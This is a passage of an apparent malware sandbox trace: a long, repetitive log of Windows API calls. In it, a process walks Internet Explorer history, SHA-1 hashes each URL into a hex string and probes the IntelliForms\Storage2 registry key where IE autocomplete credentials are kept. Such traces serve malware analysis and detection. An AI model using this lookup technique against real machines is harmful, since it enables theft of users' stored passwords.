(lpString="9D") returned 2 [0097.827] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.827] lstrcpyW (in: lpString1=0x28e7670, lpString2="CCECB17B26DCBB63686DA6EC71547227D3" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227D3") returned="CCECB17B26DCBB63686DA6EC71547227D3" [0097.827] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6EC71547227D3", lpString2="9D" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D") returned="CCECB17B26DCBB63686DA6EC71547227D39D" [0097.827] LocalFree (hMem=0x2815190) returned 0x0 [0097.827] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="04") returned 2 [0097.827] lstrlenW (lpString="CCECB17B26DCBB63686DA6EC71547227D39D") returned 36 [0097.827] lstrlenW (lpString="04") returned 2 [0097.827] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.827] lstrcpyW (in: lpString1=0x28e7910, lpString2="CCECB17B26DCBB63686DA6EC71547227D39D" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D") returned="CCECB17B26DCBB63686DA6EC71547227D39D" [0097.827] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D", lpString2="04" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D04") returned="CCECB17B26DCBB63686DA6EC71547227D39D04" [0097.827] LocalFree (hMem=0x28e7670) returned 0x0 [0097.827] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FC") returned 2 [0097.827] lstrlenW (lpString="CCECB17B26DCBB63686DA6EC71547227D39D04") returned 38 [0097.827] lstrlenW (lpString="FC") returned 2 [0097.827] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.827] lstrcpyW (in: lpString1=0x28e7670, lpString2="CCECB17B26DCBB63686DA6EC71547227D39D04" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D04") returned="CCECB17B26DCBB63686DA6EC71547227D39D04" [0097.827] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D04", lpString2="FC" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D04FC") returned="CCECB17B26DCBB63686DA6EC71547227D39D04FC" [0097.827] LocalFree (hMem=0x28e7910) returned 0x0 [0097.827] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="39") returned 2 [0097.827] lstrlenW (lpString="CCECB17B26DCBB63686DA6EC71547227D39D04FC") returned 40 [0097.827] lstrlenW (lpString="39") returned 2 [0097.827] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.827] lstrcpyW (in: lpString1=0x28e7910, lpString2="CCECB17B26DCBB63686DA6EC71547227D39D04FC" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D04FC") returned="CCECB17B26DCBB63686DA6EC71547227D39D04FC" [0097.827] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D04FC", lpString2="39" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227D39D04FC39") returned="CCECB17B26DCBB63686DA6EC71547227D39D04FC39" [0097.827] LocalFree (hMem=0x28e7670) returned 0x0 [0097.827] CryptDestroyHash (hHash=0x7203920) returned 1 [0097.827] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.827] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.827] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.828] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.828] LocalFree (hMem=0x28e7910) returned 0x0 [0097.828] CoTaskMemFree (pv=0x71e6320) [0097.828] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.828] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/RsHGGmP1G3j3saqYtZFf.pptx", lpSrch="?") returned 0x0 [0097.828] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.828] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.828] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/RsHGGmP1G3j3saqYtZFf.pptx") returned 75 [0097.828] CryptHashData (hHash=0x7204100, pbData=0x28c9b60, dwDataLen=0x98, dwFlags=0x0) returned 1 [0097.828] CryptGetHashParam (in: hHash=0x7204100, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.829] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="97") returned 2 [0097.829] lstrlenW (lpString="") returned 0 [0097.829] lstrlenW (lpString="97") returned 2 [0097.829] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182d10 [0097.829] lstrcpyW (in: lpString1=0x7182d10, lpString2="" | out: lpString1="") returned="" [0097.829] lstrcatW (in: lpString1="", lpString2="97" | out: lpString1="97") returned="97" [0097.829] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9E") returned 2 [0097.829] lstrlenW (lpString="97") returned 2 [0097.829] lstrlenW (lpString="9E") returned 2 [0097.829] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c98e0 [0097.829] lstrcpyW (in: lpString1=0x28c98e0, lpString2="97" | out: lpString1="97") returned="97" [0097.829] lstrcatW (in: lpString1="97", lpString2="9E" | out: lpString1="979E") returned="979E" [0097.829] LocalFree (hMem=0x7182d10) returned 0x0 [0097.829] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A6") returned 2 [0097.829] lstrlenW (lpString="979E") returned 4 [0097.829] lstrlenW (lpString="A6") returned 2 [0097.829] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c9200 [0097.829] lstrcpyW (in: lpString1=0x28c9200, lpString2="979E" | out: lpString1="979E") returned="979E" [0097.829] lstrcatW (in: lpString1="979E", lpString2="A6" | out: lpString1="979EA6") returned="979EA6" [0097.829] LocalFree (hMem=0x28c98e0) returned 0x0 [0097.829] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0097.829] lstrlenW (lpString="979EA6") returned 6 [0097.829] lstrlenW (lpString="DA") returned 2 [0097.829] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c98e0 [0097.829] lstrcpyW (in: lpString1=0x28c98e0, lpString2="979EA6" | out: lpString1="979EA6") returned="979EA6" [0097.829] lstrcatW (in: lpString1="979EA6", lpString2="DA" | out: lpString1="979EA6DA") returned="979EA6DA" [0097.829] LocalFree (hMem=0x28c9200) returned 0x0 [0097.829] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C4") returned 2 [0097.829] lstrlenW (lpString="979EA6DA") returned 8 [0097.829] lstrlenW (lpString="C4") returned 2 [0097.830] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c9200 [0097.830] lstrcpyW (in: lpString1=0x28c9200, lpString2="979EA6DA" | out: lpString1="979EA6DA") returned="979EA6DA" [0097.830] lstrcatW (in: lpString1="979EA6DA", lpString2="C4" | out: lpString1="979EA6DAC4") returned="979EA6DAC4" [0097.830] LocalFree (hMem=0x28c98e0) returned 0x0 [0097.830] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0097.830] lstrlenW (lpString="979EA6DAC4") returned 10 [0097.830] lstrlenW (lpString="07") returned 2 [0097.830] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf250 [0097.830] lstrcpyW (in: lpString1=0x71cf250, lpString2="979EA6DAC4" | out: lpString1="979EA6DAC4") returned="979EA6DAC4" [0097.830] lstrcatW (in: lpString1="979EA6DAC4", lpString2="07" | out: lpString1="979EA6DAC407") returned="979EA6DAC407" [0097.830] LocalFree (hMem=0x28c9200) returned 0x0 [0097.830] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="30") returned 2 [0097.830] lstrlenW (lpString="979EA6DAC407") returned 12 [0097.830] lstrlenW (lpString="30") returned 2 [0097.830] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf1a0 [0097.830] lstrcpyW (in: lpString1=0x71cf1a0, lpString2="979EA6DAC407" | out: lpString1="979EA6DAC407") returned="979EA6DAC407" [0097.830] lstrcatW (in: lpString1="979EA6DAC407", lpString2="30" | out: lpString1="979EA6DAC40730") returned="979EA6DAC40730" [0097.830] LocalFree (hMem=0x71cf250) returned 0x0 [0097.830] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0097.830] lstrlenW (lpString="979EA6DAC40730") returned 14 [0097.830] lstrlenW (lpString="DA") returned 2 [0097.830] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf250 [0097.830] lstrcpyW (in: lpString1=0x71cf250, lpString2="979EA6DAC40730" | out: lpString1="979EA6DAC40730") returned="979EA6DAC40730" [0097.830] lstrcatW (in: lpString1="979EA6DAC40730", lpString2="DA" | out: lpString1="979EA6DAC40730DA") returned="979EA6DAC40730DA" [0097.830] LocalFree (hMem=0x71cf1a0) returned 0x0 [0097.830] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.830] lstrlenW (lpString="979EA6DAC40730DA") returned 16 [0097.830] lstrlenW (lpString="54") returned 2 [0097.830] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf1a0 [0097.830] lstrcpyW (in: lpString1=0x71cf1a0, lpString2="979EA6DAC40730DA" | out: lpString1="979EA6DAC40730DA") returned="979EA6DAC40730DA" [0097.830] lstrcatW (in: lpString1="979EA6DAC40730DA", lpString2="54" | out: lpString1="979EA6DAC40730DA54") returned="979EA6DAC40730DA54" [0097.830] LocalFree (hMem=0x71cf250) returned 0x0 [0097.830] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0097.830] lstrlenW (lpString="979EA6DAC40730DA54") returned 18 [0097.830] lstrlenW (lpString="90") returned 2 [0097.830] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.830] lstrcpyW (in: lpString1=0x7290b70, lpString2="979EA6DAC40730DA54" | out: lpString1="979EA6DAC40730DA54") returned="979EA6DAC40730DA54" [0097.830] lstrcatW (in: lpString1="979EA6DAC40730DA54", lpString2="90" | out: lpString1="979EA6DAC40730DA5490") returned="979EA6DAC40730DA5490" [0097.831] LocalFree (hMem=0x71cf1a0) returned 0x0 [0097.831] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="43") returned 2 [0097.831] lstrlenW (lpString="979EA6DAC40730DA5490") returned 20 [0097.831] lstrlenW (lpString="43") returned 2 [0097.831] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.831] lstrcpyW (in: lpString1=0x72912f0, lpString2="979EA6DAC40730DA5490" | out: lpString1="979EA6DAC40730DA5490") returned="979EA6DAC40730DA5490" [0097.831] lstrcatW (in: lpString1="979EA6DAC40730DA5490", lpString2="43" | out: lpString1="979EA6DAC40730DA549043") returned="979EA6DAC40730DA549043" [0097.831] LocalFree (hMem=0x7290b70) returned 0x0 [0097.831] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0097.831] lstrlenW (lpString="979EA6DAC40730DA549043") returned 22 [0097.831] lstrlenW (lpString="9F") returned 2 [0097.831] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.831] lstrcpyW (in: lpString1=0x7290b70, lpString2="979EA6DAC40730DA549043" | out: lpString1="979EA6DAC40730DA549043") returned="979EA6DAC40730DA549043" [0097.831] lstrcatW (in: lpString1="979EA6DAC40730DA549043", lpString2="9F" | out: lpString1="979EA6DAC40730DA5490439F") returned="979EA6DAC40730DA5490439F" [0097.831] LocalFree (hMem=0x72912f0) returned 0x0 [0097.831] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="45") returned 2 [0097.831] lstrlenW (lpString="979EA6DAC40730DA5490439F") returned 24 [0097.831] lstrlenW (lpString="45") returned 2 [0097.831] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.831] lstrcpyW (in: lpString1=0x72912f0, lpString2="979EA6DAC40730DA5490439F" | out: lpString1="979EA6DAC40730DA5490439F") returned="979EA6DAC40730DA5490439F" [0097.831] lstrcatW (in: lpString1="979EA6DAC40730DA5490439F", lpString2="45" | out: lpString1="979EA6DAC40730DA5490439F45") returned="979EA6DAC40730DA5490439F45" [0097.831] LocalFree (hMem=0x7290b70) returned 0x0 [0097.831] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CD") returned 2 [0097.831] lstrlenW (lpString="979EA6DAC40730DA5490439F45") returned 26 [0097.831] lstrlenW (lpString="CD") returned 2 [0097.831] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815190 [0097.831] lstrcpyW (in: lpString1=0x2815190, lpString2="979EA6DAC40730DA5490439F45" | out: lpString1="979EA6DAC40730DA5490439F45") returned="979EA6DAC40730DA5490439F45" [0097.831] lstrcatW (in: lpString1="979EA6DAC40730DA5490439F45", lpString2="CD" | out: lpString1="979EA6DAC40730DA5490439F45CD") returned="979EA6DAC40730DA5490439F45CD" [0097.831] LocalFree (hMem=0x72912f0) returned 0x0 [0097.831] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DD") returned 2 [0097.831] lstrlenW (lpString="979EA6DAC40730DA5490439F45CD") returned 28 [0097.831] lstrlenW (lpString="DD") returned 2 [0097.831] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2814970 [0097.831] lstrcpyW (in: lpString1=0x2814970, lpString2="979EA6DAC40730DA5490439F45CD" | out: lpString1="979EA6DAC40730DA5490439F45CD") returned="979EA6DAC40730DA5490439F45CD" [0097.831] lstrcatW (in: lpString1="979EA6DAC40730DA5490439F45CD", lpString2="DD" | out: lpString1="979EA6DAC40730DA5490439F45CDDD") returned="979EA6DAC40730DA5490439F45CDDD" [0097.831] LocalFree (hMem=0x2815190) returned 0x0 [0097.831] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5B") returned 2 [0097.831] lstrlenW (lpString="979EA6DAC40730DA5490439F45CDDD") returned 30 [0097.832] lstrlenW (lpString="5B") returned 2 [0097.832] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815190 [0097.832] lstrcpyW (in: lpString1=0x2815190, lpString2="979EA6DAC40730DA5490439F45CDDD" | out: lpString1="979EA6DAC40730DA5490439F45CDDD") returned="979EA6DAC40730DA5490439F45CDDD" [0097.832] lstrcatW (in: lpString1="979EA6DAC40730DA5490439F45CDDD", lpString2="5B" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B") returned="979EA6DAC40730DA5490439F45CDDD5B" [0097.832] LocalFree (hMem=0x2814970) returned 0x0 [0097.832] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1F") returned 2 [0097.832] lstrlenW (lpString="979EA6DAC40730DA5490439F45CDDD5B") returned 32 [0097.832] lstrlenW (lpString="1F") returned 2 [0097.832] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2814970 [0097.832] lstrcpyW (in: lpString1=0x2814970, lpString2="979EA6DAC40730DA5490439F45CDDD5B" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B") returned="979EA6DAC40730DA5490439F45CDDD5B" [0097.832] lstrcatW (in: lpString1="979EA6DAC40730DA5490439F45CDDD5B", lpString2="1F" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B1F") returned="979EA6DAC40730DA5490439F45CDDD5B1F" [0097.832] LocalFree (hMem=0x2815190) returned 0x0 [0097.832] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0097.832] lstrlenW (lpString="979EA6DAC40730DA5490439F45CDDD5B1F") returned 34 [0097.832] lstrlenW (lpString="DA") returned 2 [0097.832] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.832] lstrcpyW (in: lpString1=0x28e7910, lpString2="979EA6DAC40730DA5490439F45CDDD5B1F" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B1F") returned="979EA6DAC40730DA5490439F45CDDD5B1F" [0097.832] lstrcatW (in: lpString1="979EA6DAC40730DA5490439F45CDDD5B1F", lpString2="DA" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA") returned="979EA6DAC40730DA5490439F45CDDD5B1FDA" [0097.832] LocalFree (hMem=0x2814970) returned 0x0 [0097.832] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="97") returned 2 [0097.832] lstrlenW (lpString="979EA6DAC40730DA5490439F45CDDD5B1FDA") returned 36 [0097.832] lstrlenW (lpString="97") returned 2 [0097.832] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.832] lstrcpyW (in: lpString1=0x28e7670, lpString2="979EA6DAC40730DA5490439F45CDDD5B1FDA" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA") returned="979EA6DAC40730DA5490439F45CDDD5B1FDA" [0097.832] lstrcatW (in: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA", lpString2="97" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA97") returned="979EA6DAC40730DA5490439F45CDDD5B1FDA97" [0097.832] LocalFree (hMem=0x28e7910) returned 0x0 [0097.832] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D4") returned 2 [0097.832] lstrlenW (lpString="979EA6DAC40730DA5490439F45CDDD5B1FDA97") returned 38 [0097.832] lstrlenW (lpString="D4") returned 2 [0097.832] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.832] lstrcpyW (in: lpString1=0x28e7910, lpString2="979EA6DAC40730DA5490439F45CDDD5B1FDA97" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA97") returned="979EA6DAC40730DA5490439F45CDDD5B1FDA97" [0097.832] lstrcatW (in: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA97", lpString2="D4" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA97D4") returned="979EA6DAC40730DA5490439F45CDDD5B1FDA97D4" [0097.832] LocalFree (hMem=0x28e7670) returned 0x0 [0097.832] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0097.832] lstrlenW (lpString="979EA6DAC40730DA5490439F45CDDD5B1FDA97D4") returned 40 [0097.832] lstrlenW (lpString="FE") returned 2 [0097.832] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.832] lstrcpyW (in: lpString1=0x28e7670, lpString2="979EA6DAC40730DA5490439F45CDDD5B1FDA97D4" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA97D4") returned="979EA6DAC40730DA5490439F45CDDD5B1FDA97D4" [0097.833] lstrcatW (in: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA97D4", lpString2="FE" | out: lpString1="979EA6DAC40730DA5490439F45CDDD5B1FDA97D4FE") returned="979EA6DAC40730DA5490439F45CDDD5B1FDA97D4FE" [0097.833] LocalFree (hMem=0x28e7910) returned 0x0 [0097.833] CryptDestroyHash (hHash=0x7204100) returned 1 [0097.833] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.833] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.833] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.833] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.833] LocalFree (hMem=0x28e7670) returned 0x0 [0097.833] CoTaskMemFree (pv=0x28c9b60) [0097.833] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.833] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/x3ae0WPkLee.xlsx", lpSrch="?") returned 0x0 [0097.833] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.834] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.834] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/x3ae0WPkLee.xlsx") returned 52 [0097.834] CryptHashData (hHash=0x7203ae0, pbData=0x71e7820, dwDataLen=0x6a, dwFlags=0x0) returned 1 [0097.834] CryptGetHashParam (in: hHash=0x7203ae0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.834] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="46") returned 2 [0097.834] lstrlenW (lpString="") returned 0 [0097.834] lstrlenW (lpString="46") returned 2 [0097.834] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182d10 [0097.834] lstrcpyW (in: lpString1=0x7182d10, lpString2="" | out: lpString1="") returned="" [0097.834] lstrcatW (in: lpString1="", lpString2="46" | out: lpString1="46") returned="46" [0097.834] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A7") returned 2 [0097.834] lstrlenW (lpString="46") returned 2 [0097.834] lstrlenW (lpString="A7") returned 2 [0097.834] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c9b60 [0097.834] lstrcpyW (in: lpString1=0x28c9b60, lpString2="46" | out: lpString1="46") returned="46" [0097.834] lstrcatW (in: lpString1="46", lpString2="A7" | out: lpString1="46A7") returned="46A7" [0097.834] LocalFree (hMem=0x7182d10) returned 0x0 [0097.834] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0097.834] lstrlenW (lpString="46A7") returned 4 [0097.834] lstrlenW (lpString="74") returned 2 [0097.834] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c9200 [0097.834] lstrcpyW (in: lpString1=0x28c9200, lpString2="46A7" | out: lpString1="46A7") returned="46A7" [0097.834] lstrcatW (in: lpString1="46A7", lpString2="74" | out: lpString1="46A774") returned="46A774" [0097.834] LocalFree (hMem=0x28c9b60) returned 0x0 [0097.834] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.834] lstrlenW (lpString="46A774") returned 6 [0097.834] lstrlenW (lpString="54") returned 2 [0097.834] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c9b60 [0097.834] lstrcpyW (in: lpString1=0x28c9b60, lpString2="46A774" | out: lpString1="46A774") returned="46A774" [0097.834] lstrcatW (in: lpString1="46A774", lpString2="54" | out: lpString1="46A77454") returned="46A77454" [0097.834] LocalFree (hMem=0x28c9200) returned 0x0 [0097.834] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2D") returned 2 [0097.834] lstrlenW (lpString="46A77454") returned 8 [0097.834] lstrlenW (lpString="2D") returned 2 [0097.834] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c9200 [0097.835] lstrcpyW (in: lpString1=0x28c9200, lpString2="46A77454" | out: lpString1="46A77454") returned="46A77454" [0097.835] lstrcatW (in: lpString1="46A77454", lpString2="2D" | out: lpString1="46A774542D") returned="46A774542D" [0097.835] LocalFree (hMem=0x28c9b60) returned 0x0 [0097.835] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F1") returned 2 [0097.835] lstrlenW (lpString="46A774542D") returned 10 [0097.835] lstrlenW (lpString="F1") returned 2 [0097.835] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf1a0 [0097.835] lstrcpyW (in: lpString1=0x71cf1a0, lpString2="46A774542D" | out: lpString1="46A774542D") returned="46A774542D" [0097.835] lstrcatW (in: lpString1="46A774542D", lpString2="F1" | out: lpString1="46A774542DF1") returned="46A774542DF1" [0097.835] LocalFree (hMem=0x28c9200) returned 0x0 [0097.835] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0A") returned 2 [0097.835] lstrlenW (lpString="46A774542DF1") returned 12 [0097.835] lstrlenW (lpString="0A") returned 2 [0097.835] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf250 [0097.835] lstrcpyW (in: lpString1=0x71cf250, lpString2="46A774542DF1" | out: lpString1="46A774542DF1") returned="46A774542DF1" [0097.835] lstrcatW (in: lpString1="46A774542DF1", lpString2="0A" | out: lpString1="46A774542DF10A") returned="46A774542DF10A" [0097.835] LocalFree (hMem=0x71cf1a0) returned 0x0 [0097.835] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0097.835] lstrlenW (lpString="46A774542DF10A") returned 14 [0097.835] lstrlenW (lpString="E5") returned 2 [0097.835] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf1a0 [0097.835] lstrcpyW (in: lpString1=0x71cf1a0, lpString2="46A774542DF10A" | out: lpString1="46A774542DF10A") returned="46A774542DF10A" [0097.835] lstrcatW (in: lpString1="46A774542DF10A", lpString2="E5" | out: lpString1="46A774542DF10AE5") returned="46A774542DF10AE5" [0097.835] LocalFree (hMem=0x71cf250) returned 0x0 [0097.835] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3D") returned 2 [0097.835] lstrlenW (lpString="46A774542DF10AE5") returned 16 [0097.835] lstrlenW (lpString="3D") returned 2 [0097.835] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf250 [0097.835] lstrcpyW (in: lpString1=0x71cf250, lpString2="46A774542DF10AE5" | out: lpString1="46A774542DF10AE5") returned="46A774542DF10AE5" [0097.835] lstrcatW (in: lpString1="46A774542DF10AE5", lpString2="3D" | out: lpString1="46A774542DF10AE53D") returned="46A774542DF10AE53D" [0097.835] 